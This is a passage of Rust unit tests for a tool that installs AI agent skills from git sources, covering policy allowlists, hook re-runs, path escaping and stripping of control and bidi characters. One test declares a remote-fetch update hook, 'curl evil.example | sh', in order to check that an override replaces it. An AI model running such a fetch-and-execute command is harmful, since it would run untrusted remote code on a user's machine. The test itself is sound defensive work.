assert_eq!(exact_index(&items, &target("s", "agent:review")), None);
assert_eq!(exact_index(&items, &target("s", "skill:absent")), None);
}
#[cfg(unix)]
#[test]
fn require_link_platform_is_ok_on_unix() {
let paths = Paths {
mind_home: PathBuf::from("/tmp/mind-life50"),
claude_home: PathBuf::from("/tmp/claude-life50"),
};
assert!(
require_link_platform(&paths).is_ok(),
"the platform guard must be a no-op on unix"
);
}
#[test]
fn auth_failure_skip_lines_no_message() {
use crate::mindfile::OnAuthFailure;
let cfg = OnAuthFailure {
action: AuthFailureAction::Skip,
message: None,
};
let lines = auth_failure_lines("owner/private-repo", &cfg);
assert_eq!(lines.len(), 1);
assert!(
lines[0].contains("unable to meld source owner/private-repo"),
"line: {}",
lines[0]
);
assert!(
lines[0].contains("(skipping)"),
"must include (skipping) for skip action: {}",
lines[0]
);
}
#[test]
fn auth_failure_skip_lines_with_message() {
use crate::mindfile::OnAuthFailure;
let cfg = OnAuthFailure {
action: AuthFailureAction::Skip,
message: Some("Configure credentials: https://example.com/auth".into()),
};
let lines = auth_failure_lines("owner/private-repo", &cfg);
assert_eq!(lines.len(), 2);
assert!(lines[0].contains("(skipping)"), "first line: {}", lines[0]);
assert_eq!(lines[1], "Configure credentials: https://example.com/auth");
}
#[test]
fn auth_failure_error_lines_no_skipping_suffix() {
use crate::mindfile::OnAuthFailure;
let cfg = OnAuthFailure {
action: AuthFailureAction::Error,
message: None,
};
let lines = auth_failure_lines("owner/private-repo", &cfg);
assert_eq!(lines.len(), 1);
assert!(
lines[0].contains("unable to meld source"),
"line: {}",
lines[0]
);
assert!(
!lines[0].contains("(skipping)"),
"error action must NOT include (skipping): {}",
lines[0]
);
}
#[test]
fn auth_failure_error_lines_with_message_included() {
use crate::mindfile::OnAuthFailure;
let cfg = OnAuthFailure {
action: AuthFailureAction::Error,
message: Some("Contact admin for access.".into()),
};
let lines = auth_failure_lines("owner/private-repo", &cfg);
assert_eq!(lines.len(), 2);
assert!(
!lines[0].contains("(skipping)"),
"error action must NOT include (skipping)"
);
assert_eq!(lines[1], "Contact admin for access.");
}
#[test]
fn auth_failure_lines_strips_ansi_escape() {
use crate::mindfile::OnAuthFailure;
let cfg = OnAuthFailure {
action: AuthFailureAction::Skip,
message: Some("\x1b[2J hello\x1b[0m".into()),
};
let lines = auth_failure_lines("src", &cfg);
assert_eq!(lines.len(), 2);
assert_eq!(
lines[1], " hello",
"expected printable portion only: {:?}",
lines[1]
);
assert!(
!lines[1].contains('\x1b'),
"ANSI escape must be stripped: {:?}",
lines[1]
);
}
#[test]
fn strip_ansi_drops_bidi_and_separator_chars() {
assert_eq!(
strip_ansi("pay \u{202E}oot"),
"pay oot",
"RLO must be dropped"
);
assert_eq!(
strip_ansi("\u{202A}\u{202B}\u{202C}\u{202D}\u{202E}"),
"",
"bidi U+202A-202E must all be dropped"
);
assert_eq!(
strip_ansi("\u{2066}\u{2067}\u{2068}\u{2069}"),
"",
"isolate U+2066-2069 must all be dropped"
);
assert_eq!(
strip_ansi("line\u{2028}break"),
"linebreak",
"U+2028 must be dropped"
);
assert_eq!(
strip_ansi("para\u{2029}sep"),
"parasep",
"U+2029 must be dropped"
);
assert_eq!(strip_ansi("hello\u{00e9}"), "hello\u{00e9}");
}
#[test]
fn strip_ansi_preserves_chars_adjacent_to_blocked_ranges() {
assert_eq!(
strip_ansi("a\u{2027}b"),
"a\u{2027}b",
"U+2027 must pass through (below the separator block)"
);
assert_eq!(
strip_ansi("a\u{202F}b"),
"a\u{202F}b",
"U+202F must pass through (above the bidi-override block)"
);
assert_eq!(
strip_ansi("a\u{2065}b"),
"a\u{2065}b",
"U+2065 must pass through (below the isolate block)"
);
assert_eq!(
strip_ansi("a\u{206A}b"),
"ab",
"U+206A is a deprecated format control and must be dropped (NS-73)"
);
assert_eq!(
strip_ansi("a\u{2070}b"),
"a\u{2070}b",
"U+2070 must pass through (above the deprecated-format block)"
);
}
#[test]
fn strip_ansi_separator_at_every_position() {
assert_eq!(strip_ansi("\u{2028}tail"), "tail", "leading U+2028");
assert_eq!(strip_ansi("mid\u{2028}dle"), "middle", "interior U+2028");
assert_eq!(strip_ansi("head\u{2028}"), "head", "trailing U+2028");
assert_eq!(
strip_ansi("\u{2028}\u{2029}\u{2028}"),
"",
"only-separator run must be empty"
);
}
#[test]
fn strip_ansi_alternating_blocked_and_allowed() {
assert_eq!(
strip_ansi("a\u{202E}b\u{2066}c\u{2028}d\u{2069}e"),
"abcde",
"blocked chars removed, allowed text preserved in order"
);
}
#[test]
fn mutation_result_minimal_shape() {
let r = MutationResult::new("forget", "skill:review", "removed");
let v: serde_json::Value = serde_json::to_value(&r).unwrap();
assert_eq!(v["action"], "forget");
assert_eq!(v["target"], "skill:review");
assert_eq!(v["outcome"], "removed");
assert!(v.get("count").is_none(), "count must be omitted: {v}");
assert!(v.get("installed").is_none(), "installed omitted: {v}");
assert!(v.get("removed").is_none(), "removed omitted: {v}");
}
#[test]
fn mutation_result_populated_optional_fields() {
let mut r = MutationResult::new("learn", "skill:review", "installed");
r.installed = vec!["agent:reviewer".to_string(), "skill:review".to_string()];
r.count = Some(2);
let v: serde_json::Value = serde_json::to_value(&r).unwrap();
assert_eq!(v["action"], "learn");
assert_eq!(v["outcome"], "installed");
assert_eq!(v["count"], 2);
assert_eq!(
v["installed"],
serde_json::json!(["agent:reviewer", "skill:review"])
);
assert!(v.get("removed").is_none(), "empty removed omitted: {v}");
}
#[test]
fn parse_confirm_default_no_only_yes_confirms() {
assert!(parse_confirm("y", false));
assert!(parse_confirm("YES", false));
assert!(!parse_confirm("", false));
assert!(!parse_confirm("n", false));
assert!(!parse_confirm("maybe", false));
}
#[test]
fn parse_confirm_default_yes_only_no_declines() {
assert!(parse_confirm("", true));
assert!(parse_confirm("y", true));
assert!(parse_confirm(" Y \n", true));
assert!(parse_confirm("whatever", true));
assert!(!parse_confirm("n", true));
assert!(!parse_confirm("NO", true));
}
#[test]
fn overwrite_prompt_answers_yes_all_or_no() {
assert_eq!(parse_overwrite_answer("y"), OverwriteAnswer::Yes);
assert_eq!(parse_overwrite_answer(" YES \n"), OverwriteAnswer::Yes);
assert_eq!(parse_overwrite_answer("a"), OverwriteAnswer::All);
assert_eq!(parse_overwrite_answer("All\n"), OverwriteAnswer::All);
assert_eq!(parse_overwrite_answer(""), OverwriteAnswer::No);
assert_eq!(parse_overwrite_answer("n"), OverwriteAnswer::No);
assert_eq!(parse_overwrite_answer("maybe"), OverwriteAnswer::No);
assert!(Clobber::Force.overwrites());
assert!(Clobber::Overwrite.overwrites());
assert!(!Clobber::Error.overwrites());
}
fn with_policy(policy_toml: &str) -> (std::sync::MutexGuard<'static, ()>, PathBuf) {
let guard = ENV_LOCK.lock().unwrap_or_else(|e| e.into_inner());
let n = COUNTER.fetch_add(1, Ordering::SeqCst);
let base = std::env::temp_dir().join(format!("mind-cmd-test-{}-{n}", std::process::id()));
std::fs::create_dir_all(&base).unwrap();
let policy_file = base.join("policy.toml");
std::fs::write(&policy_file, policy_toml).unwrap();
unsafe {
std::env::remove_var("MIND_AGENT_HOMES");
std::env::set_var("MIND_POLICY_FILE", policy_file.to_str().unwrap());
}
(guard, base)
}
fn item(name: &str, source: &str) -> InstalledItem {
InstalledItem {
kind: ItemKind::Skill,
name: name.to_string(),
bare_name: name.to_string(),
source: source.to_string(),
commit: "deadbeef".to_string(),
hash: "h".to_string(),
store: format!("store/skills/{name}"),
links: vec![],
description: None,
install_hooks: Vec::new(),
dropped_requires: Vec::new(),
profiles: Vec::new(),
explicit: false,
version: None,
}
}
#[test]
fn pol40_override_note_predicate() {
assert!(show_override_note(true, false));
assert!(!show_override_note(true, true));
assert!(!show_override_note(false, false));
assert!(!show_override_note(false, true));
}
#[test]
fn pol40_locked_policy_suppresses_override_note() {
let managed = std::env::temp_dir().join("mind-pol40-managed-target");
let policy_toml = format!(
"[lobes]\nlock = true\ntargets = [\"{}\"]\n",
managed.display()
);
let (_guard, base) = with_policy(&policy_toml);
unsafe {
std::env::set_var("MIND_AGENT_HOMES", base.join("env-lobe").to_str().unwrap());
}
let policy = Policy::load().unwrap().expect("policy should load");
let env_set = std::env::var_os("MIND_AGENT_HOMES").is_some();
let lobes_locked = policy.lobes_lock();
unsafe {
std::env::remove_var("MIND_AGENT_HOMES");
}
assert!(env_set, "test must have the override var set");
assert!(lobes_locked, "policy must report a lobe lock");
assert!(
!show_override_note(env_set, lobes_locked),
"POL-40: a locked policy must suppress the false override note"
);
let _ = std::fs::remove_dir_all(&base);
}
#[test]
fn pol40_unlocked_keeps_override_note() {
let policy_toml = "[lobes]\nlock = false\n";
let (_guard, base) = with_policy(policy_toml);
unsafe {
std::env::set_var("MIND_AGENT_HOMES", base.join("env-lobe").to_str().unwrap());
}
let lobes_locked = matches!(Policy::load().unwrap(), Some(p) if p.lobes_lock());
let env_set = std::env::var_os("MIND_AGENT_HOMES").is_some();
unsafe {
std::env::remove_var("MIND_AGENT_HOMES");
}
assert!(!lobes_locked, "lock = false means no lobe lock");
assert!(
show_override_note(env_set, lobes_locked),
"unlocked behavior must be unchanged: the note still shows"
);
let _ = std::fs::remove_dir_all(&base);
}
fn registry_of(specs: &[&str]) -> Registry {
Registry {
sources: specs
.iter()
.map(|s| crate::source::parse_spec(s).unwrap())
.collect(),
}
}
#[test]
fn pol12_scoped_upgrade_no_skip_for_out_of_scope_source() {
let policy_toml = concat!(
"[sources]\n",
"lock = true\n",
"allow = [\"github.com/me/allowed-src\"]\n",
);
let (_guard, base) = with_policy(policy_toml);
let policy = Policy::load().unwrap().expect("policy should load");
assert!(policy.lock());
let selected = item("wanted", "github.com/me/allowed-src");
let other = item("unwanted", "github.com/them/blocked-src");
let filter = parse_item_ref("wanted").unwrap();
let registry = registry_of(&["me/allowed-src", "them/blocked-src"]);
assert_eq!(
upgrade_item_disposition(&other, Some(&filter), None, None, Some(&policy), ®istry),
UpgradeDisposition::OutOfScope,
"POL-12: an unselected item must not be policy-skipped (no skip line)"
);
assert_eq!(
upgrade_item_disposition(
&selected,
Some(&filter),
None,
None,
Some(&policy),
®istry
),
UpgradeDisposition::Consider,
);
assert_eq!(
upgrade_item_disposition(&other, None, None, None, Some(&policy), ®istry),
UpgradeDisposition::PolicyBlocked,
);
let _ = std::fs::remove_dir_all(&base);
}
#[test]
fn upgrade_disposition_resolves_instance_names_to_base_identity() {
let policy_toml = concat!(
"[sources]\n",
"lock = true\n",
"allow = [\"github.com/me/allowed-src\"]\n",
);
let (_guard, base) = with_policy(policy_toml);
let policy = Policy::load().unwrap().expect("policy should load");
let mut registry = Registry::default();
let link =
crate::source::parse_spec("https://github.com/me/allowed-src/tree/main/skills/foo")
.unwrap();
assert_eq!(link.name, "github.com/me/allowed-src#skills/foo");
let mut aliased = crate::source::parse_spec("me/allowed-src").unwrap();
aliased.apply_alias(Some("fork".into()));
assert_eq!(aliased.name, "github.com/me/allowed-src@fork");
let link_name = link.name.clone();
let aliased_name = aliased.name.clone();
registry.sources.push(link);
registry.sources.push(aliased);
for name in [&link_name, &aliased_name] {
assert_eq!(
upgrade_item_disposition(
&item("foo", name),
None,
None,
None,
Some(&policy),
®istry
),
UpgradeDisposition::Consider,
"{name}: an instance of an allowed repo stays allowed"
);
}
assert_eq!(
upgrade_item_disposition(
&item("foo", "github.com/me/allowed-src#skills/foo"),
None,
None,
None,
Some(&policy),
&Registry::default()
),
UpgradeDisposition::SourceNotRegistered,
"an unregistered instance name fails closed, distinctly from a policy block"
);
let _ = std::fs::remove_dir_all(&base);
}
#[test]
fn upgrade_disposition_distinguishes_unregistered_source_from_policy_block() {
let policy_toml = concat!(
"[sources]\n",
"lock = true\n",
"allow = [\"github.com/me/allowed-src\"]\n",
);
let (_guard, base) = with_policy(policy_toml);
let policy = Policy::load().unwrap().expect("policy should load");
let registry = registry_of(&["me/allowed-src", "them/blocked-src"]);
assert_eq!(
upgrade_item_disposition(
&item("foo", "github.com/them/blocked-src"),
None,
None,
None,
Some(&policy),
®istry,
),
UpgradeDisposition::PolicyBlocked,
"a registered source outside the allowlist is PolicyBlocked"
);
assert_eq!(
upgrade_item_disposition(
&item("foo", "github.com/gone/unmelded-src"),
None,
None,
None,
Some(&policy),
®istry,
),
UpgradeDisposition::SourceNotRegistered,
"an item whose source is not registered must not be reported as PolicyBlocked"
);
let _ = std::fs::remove_dir_all(&base);
}
#[test]
fn pol12_scoped_upgrade_skips_selected_disallowed_item() {
let policy_toml = concat!(
"[sources]\n",
"lock = true\n",
"allow = [\"github.com/me/allowed-src\"]\n",
);
let (_guard, base) = with_policy(policy_toml);
let policy = Policy::load().unwrap().expect("policy should load");
let selected = item("blocked-item", "github.com/them/blocked-src");
let filter = parse_item_ref("blocked-item").unwrap();
let registry = registry_of(&["me/allowed-src", "them/blocked-src"]);
assert_eq!(
upgrade_item_disposition(
&selected,
Some(&filter),
None,
None,
Some(&policy),
®istry
),
UpgradeDisposition::PolicyBlocked,
"a selected item from a disallowed source is still reported"
);
let _ = std::fs::remove_dir_all(&base);
}
#[test]
fn upgrade_no_sync_keys_skips_inapplicable_confirmed_keys_without_aborting() {
use std::process::Command;
let n = COUNTER.fetch_add(1, Ordering::SeqCst);
let base = std::env::temp_dir().join(format!(
"mind-cmd-upgrade-keys-skip-{}-{n}",
std::process::id()
));
let _ = std::fs::remove_dir_all(&base);
let paths = Paths {
mind_home: base.join("mind"),
claude_home: base.join("claude"),
};
crate::paths::mkdir_p(&paths.mind_home).unwrap();
crate::config::Config {
lobes: vec![crate::config::LobeEntry::bare(
paths.claude_home.to_str().unwrap(),
)],
..Default::default()
}
.save(&paths)
.unwrap();
let src = base.join("skip-source");
std::fs::create_dir_all(src.join("skills/applies")).unwrap();
std::fs::write(
src.join("skills/applies/SKILL.md"),
"---\ndescription: applies skill\n---\n# applies\noriginal\n",
)
.unwrap();
std::fs::create_dir_all(src.join("skills/resolved")).unwrap();
let resolved_original = "---\ndescription: resolved skill\n---\n# resolved\noriginal\n";
std::fs::write(src.join("skills/resolved/SKILL.md"), resolved_original).unwrap();
let run = |args: &[&str]| {
Command::new("git")
.args(args)
.current_dir(&src)
.output()
.expect("git");
};
run(&["-c", "init.defaultBranch=main", "init", "-q"]);
run(&["config", "user.email", "t@t"]);
run(&["config", "user.name", "t"]);
run(&["add", "-A"]);
run(&["commit", "-qm", "initial"]);
meld(
&paths,
src.to_str().unwrap(),
None,
vec![],
vec![],
false,
PinRequest::None,
None,
false,
None,
)
.expect("meld");
for item_key in ["skill:applies", "skill:resolved"] {
learn(
&paths,
item_key,
false,
InstallFlow {
yes: true,
clobber: Clobber::Force,
dangerously_skip: true,
dangerously_skip_build: true,
},
)
.expect("learn");
}
let manifest_before = crate::manifest::Manifest::load(&paths).unwrap();
let applies_hash_before = manifest_before
.items
.get("skill:applies")
.unwrap()
.hash
.clone();
let resolved_hash_before = manifest_before
.items
.get("skill:resolved")
.unwrap()
.hash
.clone();
std::fs::write(
src.join("skills/applies/SKILL.md"),
"---\ndescription: applies skill\n---\n# applies\nedited\n",
)
.unwrap();
std::fs::write(
src.join("skills/resolved/SKILL.md"),
"---\ndescription: resolved skill\n---\n# resolved\nedited\n",
)
.unwrap();
let confirmed_keys = vec!["skill:applies".to_string(), "skill:ghost".to_string()];
let result = upgrade_no_sync_keys(&paths, true, &confirmed_keys, false, false);
assert!(
result.is_ok(),
"a partially-inapplicable confirmed set must not abort the run: {:?}",
result.err()
);
let manifest_after = crate::manifest::Manifest::load(&paths).unwrap();
let applies_hash_after = manifest_after
.items
.get("skill:applies")
.unwrap()
.hash
.clone();
let resolved_hash_after = manifest_after
.items
.get("skill:resolved")
.unwrap()
.hash
.clone();
assert_ne!(
applies_hash_after, applies_hash_before,
"the still-applicable confirmed key must still be upgraded"
);
assert_eq!(
resolved_hash_after, resolved_hash_before,
"a genuinely pending item that was never in the confirmed key set \
must be left untouched by `key_scope` -- unlike `skill:applies`, \
its content really did drift, so this only holds if `key_scope` \
actually excluded it"
);
let _ = std::fs::remove_dir_all(&base);
}
fn declared_install(run: &str) -> crate::mindfile::ResolvedHook {
crate::mindfile::ResolvedHook {
run: run.to_string(),
name: None,
optional: false,
event: HookEvent::Install,
}
}
fn hook_rerun_warranted(source: &crate::source::Source) -> bool {
let declared: Vec<crate::mindfile::ResolvedHook> = source
.install_hooks
.iter()
.map(|r| declared_install(&r.command))
.collect();
!select_upgrade_hooks(source, &declared, true)
.hooks
.is_empty()
}
fn hook_source(commit: Option<&str>, hooks: &[(&str, Option<&str>)]) -> crate::source::Source {
use crate::source::RecordedSourceHook;
let mut s = crate::source::parse_spec("acme/tools").expect("spec parses");
s.commit = commit.map(str::to_string);
s.install_hooks = hooks
.iter()
.map(|(cmd, ran_at)| RecordedSourceHook::install(*cmd, ran_at.map(str::to_string)))
.collect();
s
}
#[test]
fn a_withdrawn_install_hook_is_not_replayed_from_the_record() {
let source = hook_source(Some("new0000"), &[("make install", Some("old0000"))]);
assert!(
select_upgrade_hooks(&source, &[], true).hooks.is_empty(),
"a record with no matching declaration is not offered"
);
assert!(
!select_upgrade_hooks(&source, &[declared_install("make install")], true)
.hooks
.is_empty(),
"the same record IS offered while the source still declares it"
);
}
#[test]
fn a_pending_install_hook_is_disclosed_with_its_declared_name_and_optional_flag() {
let source = hook_source(Some("new0000"), &[("make setup", Some("old0000"))]);
let declared = vec![crate::mindfile::ResolvedHook {
run: "make setup".to_string(),
name: Some("Build the tooling".to_string()),
optional: true,
event: HookEvent::Install,
}];
let pending = select_upgrade_hooks(&source, &declared, true);
assert_eq!(pending.event, "install");
assert_eq!(pending.hooks.len(), 1);
assert_eq!(pending.hooks[0].label, "Build the tooling");
assert!(
pending.hooks[0].optional,
"an optional hook must not be disclosed as required"
);
}
#[test]
fn a_recorded_override_replaces_the_sources_update_hooks() {
let mut source = hook_source(Some("new0000"), &[]);
let mut overridden = crate::source::RecordedSourceHook::install("./mine.sh", None);
overridden.origin = Some(HookOrigin::Override);
source.install_hooks.push(overridden);
let declared = vec![crate::mindfile::ResolvedHook {
run: "curl evil.example | sh".to_string(),
name: None,
optional: false,
event: HookEvent::Update,
}];
let pending = select_upgrade_hooks(&source, &declared, true);
assert_eq!(pending.event, "update");
assert_eq!(pending.hooks.len(), 1);
assert_eq!(
pending.hooks[0].run, "./mine.sh",
"the consumer's command is what runs"
);
assert_eq!(
pending.hooks[0].declared_override.as_deref(),
Some("curl evil.example | sh"),
"the disclosure still names the declared command it replaced"
);
}
#[test]
fn a_curated_update_hook_is_offered_from_the_record_and_gated_by_dsc_60() {
let mut source = hook_source(Some("new0000"), &[]);
let mut curated = crate::source::RecordedSourceHook::install("./migrate.sh", None);
curated.event = Some(RecordedEvent::Update);
curated.origin = Some(HookOrigin::Curated);
curated.name = Some("Migrate".to_string());
curated.optional = true;
source.install_hooks.push(curated);
let pending = select_upgrade_hooks(&source, &[], false);
assert_eq!(pending.event, "update");
assert_eq!(pending.hooks.len(), 1);
assert_eq!(pending.hooks[0].run, "./migrate.sh");
assert_eq!(pending.hooks[0].label, "Migrate");
assert!(pending.hooks[0].optional);
let gated = select_upgrade_hooks(&source, &[], true);
assert_eq!(
gated.event, "install",
"a nested source with its own mind.toml drops the curated hooks"
);
assert!(gated.hooks.is_empty());
}
#[test]
fn hook_rerun_warranted_truth_table() {
assert!(
!hook_rerun_warranted(&hook_source(Some("abc1234"), &[])),
"no install_hooks means no re-run"
);
assert!(
!hook_rerun_warranted(&hook_source(
Some("abc1234"),
&[("make install", Some("abc1234"))],
)),
"ran_at == commit means the hook already ran here"
);
assert!(
!hook_rerun_warranted(&hook_source(
Some("abc1234"),
&[
("make build", Some("abc1234")),
("make install", Some("abc1234")),
],
)),
"all hooks ran at current commit means no re-run warranted"
);
assert!(
hook_rerun_warranted(&hook_source(Some("abc1234"), &[("make install", None)],)),
"a recorded-but-never-run hook is re-offered"
);
assert!(
hook_rerun_warranted(&hook_source(
Some("def5678"),
&[("make install", Some("abc1234"))],
)),
"an advanced commit warrants a re-run"
);
assert!(
hook_rerun_warranted(&hook_source(
Some("new0000"),
&[
("make build", Some("new0000")),
("make install", Some("old0000")),
],
)),
"at least one stale hook warrants a re-run"
);
}
#[test]
fn init_source_scaffold_includes_hooks_examples() {
let n = COUNTER.fetch_add(1, Ordering::SeqCst);
let tmp =
std::env::temp_dir().join(format!("mind-cmd-init-hooks-{}-{n}", std::process::id()));
std::fs::create_dir_all(&tmp).unwrap();
struct Rm(std::path::PathBuf);
impl Drop for Rm {
fn drop(&mut self) {
let _ = std::fs::remove_dir_all(&self.0);
}
}
let _rm = Rm(tmp.clone());
init_source(Some(tmp.to_str().unwrap()), false, false, false, None)
.expect("init_source should succeed");
let toml_path = tmp.join("mind.toml");
assert!(toml_path.exists(), "mind.toml must be created");
let contents = std::fs::read_to_string(&toml_path).unwrap();
assert!(
contents.contains("[[hooks]]"),
"scaffold must include a commented [[hooks]] example: {contents}"
);
assert!(
contents.contains("install"),
"scaffold must show event = \"install\": {contents}"
);
assert!(
contents.contains("uninstall"),
"scaffold must show event = \"uninstall\": {contents}"
);
assert!(
contents.contains("optional = true"),
"scaffold must have at least one optional = true example: {contents}"
);
assert!(
contents.contains("idempotent"),
"scaffold must state that an install hook is expected to be \
idempotent: {contents}"
);
assert!(
contents.contains("event = \"update\""),
"scaffold must show an update-event example: {contents}"
);
let has_uncommented_hooks = contents.lines().any(|l| l.trim() == "[[hooks]]");
assert!(
!has_uncommented_hooks,
"[[hooks]] examples must all be commented out: {contents}"
);
assert!(
contents.contains("[source]"),
"scaffold must still have [source]"
);
assert!(
contents.contains("# namespace = \"prefix\""),
"scaffold must still have commented namespace: {contents}"
);
}
#[test]
fn hook_token_is_count_aware() {
let s0 = hook_source(Some("abc"), &[]);
let token0 = match s0.install_hooks.len() {
0 => String::new(),
1 => " hook".to_string(),
n => format!(" hooks({n})"),
};
assert_eq!(token0, "", "no hooks => empty token");
let s1 = hook_source(Some("abc"), &[("make install", Some("abc"))]);
let token1 = match s1.install_hooks.len() {
0 => String::new(),
1 => " hook".to_string(),
n => format!(" hooks({n})"),
};
assert_eq!(token1, " hook", "1 hook => ' hook'");
let s2 = hook_source(
Some("abc"),
&[("make build", Some("abc")), ("make install", Some("abc"))],
);
let token2 = match s2.install_hooks.len() {
0 => String::new(),
1 => " hook".to_string(),
n => format!(" hooks({n})"),
};
assert_eq!(token2, " hooks(2)", "2 hooks => ' hooks(2)'");
}
#[test]
fn hook_rerun_warranted_multi_hook_model() {
let all_current = hook_source(
Some("fff000"),
&[
("make build", Some("fff000")),
("make install", Some("fff000")),
("make test", Some("fff000")),
],
);
assert!(
!hook_rerun_warranted(&all_current),
"all hooks current => no re-run warranted"
);
let one_never_ran = hook_source(
Some("fff000"),
&[
("make build", Some("fff000")),
("make install", None), ],
);
assert!(
hook_rerun_warranted(&one_never_ran),
"one hook with ran_at=None => re-run warranted"
);
let no_commit = hook_source(None, &[("make install", Some("old"))]);
assert!(
hook_rerun_warranted(&no_commit),
"commit=None and ran_at=Some => they differ => warranted"
);
}
#[test]
fn convention_path_in_root_derives_correct_paths() {
let root = std::path::Path::new("/repo");
assert_eq!(
convention_path_in_root(root, ItemKind::Skill, "review"),
PathBuf::from("/repo/skills/review"),
"skill convention path is skills/<name>/"
);
assert_eq!(
convention_path_in_root(root, ItemKind::Agent, "dev"),
PathBuf::from("/repo/agents/dev.md"),
"agent convention path is agents/<name>.md"
);
assert_eq!(
convention_path_in_root(root, ItemKind::Rule, "style"),
PathBuf::from("/repo/rules/style.md"),
"rule convention path is rules/<name>.md"
);
assert_eq!(
convention_path_in_root(root, ItemKind::Command, "ship"),
PathBuf::from("/repo/commands/ship.md"),
"command convention path is commands/<name>.md"
);
assert_eq!(
convention_path_in_root(root, ItemKind::Workflow, "deploy"),
PathBuf::from("/repo/workflows/deploy.js"),
"workflow convention path is workflows/<name>.js"
);
}
#[test]
fn absorb_effective_key_sanitizes_a_hostile_name() {
let hostile_name = format!("hand{}ma\u{202E}de", '\x07');
let key = absorb_effective_key(ItemKind::Skill, &hostile_name);
assert!(
!key.contains('\x07') && !key.contains('\u{202E}'),
"the composed key must not carry a raw control byte or bidi override: {key:?}"
);
assert_eq!(
key, "skill:handmade",
"the sanitized key must still read as the intended name"
);
}
#[test]
fn expand_tilde_handles_home_prefix() {
let home = dirs::home_dir().expect("home dir");
let expanded = expand_tilde("~");
assert_eq!(expanded, home, "bare ~ must expand to home directory");
let expanded2 = expand_tilde("~/foo");
assert_eq!(
expanded2,
home.join("foo"),
"~/foo must expand to <home>/foo"
);
let abs = expand_tilde("/tmp/mydir");
assert_eq!(
abs,
PathBuf::from("/tmp/mydir"),
"absolute path must be unchanged"
);
let rel = expand_tilde("relpath/dir");
assert_eq!(
rel,
PathBuf::from("relpath/dir"),
"relative path must be unchanged"
);
}
#[test]
fn first_scan_root_defaults_to_dest_dir() {
let n = COUNTER.fetch_add(1, Ordering::SeqCst);
let dir =
std::env::temp_dir().join(format!("mind-abs-scanroot-{}-{n}", std::process::id()));
std::fs::create_dir_all(&dir).unwrap();
let root = first_scan_root(&dir).unwrap();
assert_eq!(
root,
dir.join("."),
"first_scan_root with no mind.toml must be dest/."
);
let _ = std::fs::remove_dir_all(&dir);
}
#[test]
fn first_scan_root_uses_minds_toml_roots() {
let n = COUNTER.fetch_add(1, Ordering::SeqCst);
let dir =
std::env::temp_dir().join(format!("mind-abs-scanroot2-{}-{n}", std::process::id()));
std::fs::create_dir_all(&dir).unwrap();
std::fs::write(
dir.join("mind.toml"),
"[source]\nroots = [\"packages/agents\"]\n",
)
.unwrap();
std::fs::create_dir_all(dir.join("packages/agents")).unwrap();
let root = first_scan_root(&dir).unwrap();
assert_eq!(
root,
dir.join("packages/agents"),
"first_scan_root must use first entry of [source].roots"
);
let _ = std::fs::remove_dir_all(&dir);
}
#[test]
fn first_scan_root_rejects_escaping_root() {
let n = COUNTER.fetch_add(1, Ordering::SeqCst);
let dir = std::env::temp_dir().join(format!(
"mind-abs-scanroot-escape-{}-{n}",
std::process::id()
));
std::fs::create_dir_all(&dir).unwrap();
std::fs::write(
dir.join("mind.toml"),
"[source]\nroots = [\"../../outside\"]\n",
)
.unwrap();
let err = first_scan_root(&dir).unwrap_err();
assert!(
matches!(err, crate::error::MindError::InvalidRoot { .. }),
"an escaping roots entry must be InvalidRoot: {err}"
);
let _ = std::fs::remove_dir_all(&dir);
}
#[test]
fn normalize_path_folds_parent_and_current_components() {
use std::path::PathBuf;
assert_eq!(
normalize_path(&PathBuf::from("/repo/./skills")),
PathBuf::from("/repo/skills"),
"a `.` component must be dropped"
);
assert_eq!(
normalize_path(&PathBuf::from("/repo/sub/../skills")),
PathBuf::from("/repo/skills"),
"a `..` must pop the previous component"
);
let escaped = normalize_path(&PathBuf::from("/repo/../../outside"));
assert!(
!escaped.starts_with("/repo"),
"a climbing `..` chain must escape the repo root: {escaped:?}"
);
assert_eq!(
escaped,
PathBuf::from("/outside"),
"folding /repo/../../outside yields /outside"
);
}
#[test]
fn first_scan_root_rejects_existing_escaping_root_via_canonicalize() {
let n = COUNTER.fetch_add(1, Ordering::SeqCst);
let base = std::env::temp_dir().join(format!(
"mind-abs-scanroot-canon-{}-{n}",
std::process::id()
));
let dest = base.join("repo");
let outside = base.join("outside");
std::fs::create_dir_all(&dest).unwrap();
std::fs::create_dir_all(&outside).unwrap();
std::fs::write(
dest.join("mind.toml"),
"[source]\nroots = [\"../outside\"]\n",
)
.unwrap();
let err = first_scan_root(&dest).unwrap_err();
assert!(
matches!(err, crate::error::MindError::InvalidRoot { .. }),
"an existing escaping root (canonicalize branch) must be InvalidRoot: {err}"
);
let _ = std::fs::remove_dir_all(&base);
}
#[test]
fn dest_source_prefix_none_when_unset() {
let n = COUNTER.fetch_add(1, Ordering::SeqCst);
let dir =
std::env::temp_dir().join(format!("mind-abs-pfx-none-{}-{n}", std::process::id()));
std::fs::create_dir_all(&dir).unwrap();
let registry = crate::source::Registry::default();
assert_eq!(
dest_source_prefix(&dir, ®istry),
None,
"no alias and no mind.toml prefix means no effective prefix"
);
let _ = std::fs::remove_dir_all(&dir);
}
#[test]
fn dest_source_prefix_reads_mindfile_prefix() {
let n = COUNTER.fetch_add(1, Ordering::SeqCst);
let dir =
std::env::temp_dir().join(format!("mind-abs-pfx-toml-{}-{n}", std::process::id()));
std::fs::create_dir_all(&dir).unwrap();
std::fs::write(dir.join("mind.toml"), "[source]\nprefix = \"tomlpfx\"\n").unwrap();
let registry = crate::source::Registry::default();
assert_eq!(
dest_source_prefix(&dir, ®istry),
Some("tomlpfx".to_string()),
"an unmelded destination uses its mind.toml [source].prefix"
);
let _ = std::fs::remove_dir_all(&dir);
}
#[test]
fn dest_source_prefix_alias_beats_mindfile_prefix() {
let n = COUNTER.fetch_add(1, Ordering::SeqCst);
let dir =
std::env::temp_dir().join(format!("mind-abs-pfx-alias-{}-{n}", std::process::id()));
std::fs::create_dir_all(&dir).unwrap();
std::fs::write(dir.join("mind.toml"), "[source]\nprefix = \"tomlpfx\"\n").unwrap();
let mut src = crate::source::parse_spec(&dir.to_string_lossy()).unwrap();
src.alias = Some("aliaspfx".to_string());
let registry = crate::source::Registry { sources: vec![src] };
assert_eq!(
dest_source_prefix(&dir, ®istry),
Some("aliaspfx".to_string()),
"the recorded alias must win over the repo's [source].prefix"
);
let _ = std::fs::remove_dir_all(&dir);
}
#[test]
fn dest_source_prefix_empty_alias_falls_through_to_mindfile() {
let n = COUNTER.fetch_add(1, Ordering::SeqCst);
let dir =
std::env::temp_dir().join(format!("mind-abs-pfx-empty-{}-{n}", std::process::id()));
std::fs::create_dir_all(&dir).unwrap();
